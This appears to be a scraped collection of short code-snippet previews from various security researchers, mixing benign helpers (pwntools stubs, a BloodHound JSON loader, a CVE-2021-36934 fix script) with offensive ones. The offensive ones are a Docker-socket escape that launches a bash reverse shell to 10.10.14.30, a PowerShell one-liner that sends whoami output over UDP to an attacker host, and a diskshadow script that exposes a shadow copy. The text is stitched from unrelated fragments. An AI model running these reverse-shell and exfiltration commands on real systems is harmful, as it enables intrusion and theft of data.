hazcod

echo > CVE-2021-36934 fixer
echo See https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

echo Deleting current shadow copies...
vssadmin delete shadows /all /quiet

echo Fixing privilege issue...
icacls %windir%\system32\config\*.* /inheritance:e

echo Creating brand new shadow copy...

JohnHammond

#!/usr/bin/env python3

"""
# NOTE, you must change the string below for data you want.
# This script does not take arguments in its current form. Sorry!
"""

from pwn import *

string = b"foobar"

JohnHammond

#!/usr/bin/env python3

"""
# NOTE, you must change the filename below for the rp++ output you want to process.
# This script does not take arguments in its current form. Sorry!
"""

import re

from pwn import p32, u32

deltronzero

import json

file_name = "20210312152708_computers.json"
type = "computers"
object_limit = 10000

print(f"[*] loading {file_name}")
data = json.loads(open(file_name,'r').read().encode().decode('utf-8-sig'))
total_objects = data['meta']['count']

PwnPeter

#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

Frycos

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

FadeMind

@echo off

echo.
openfiles > NUL 2>&1
if %errorlevel% NEQ 0 (
	echo You are not running as Administrator...
	echo This batch cannot do it's job without elevation!
	echo.
	echo Right-click and select ^'Run as Administrator^' and try again...
	echo.

Areizen

#!/usr/bin/python3
import frida
import subprocess
import sys

if len(sys.argv) !=2:
    print(f"[-] Usage : python3 {sys.argv[0]} <package_to_uninstall>")
    sys.exit(-1)

def message(message, data):

ignis-sec

# On your host:
# $ nc -lnvup 53


# Replace <HOSTIP> with ip of the listening machine
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));"

b1gbroth3r

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec scriptfile.cmd
delete shadows volume %someAlias%
reset
exit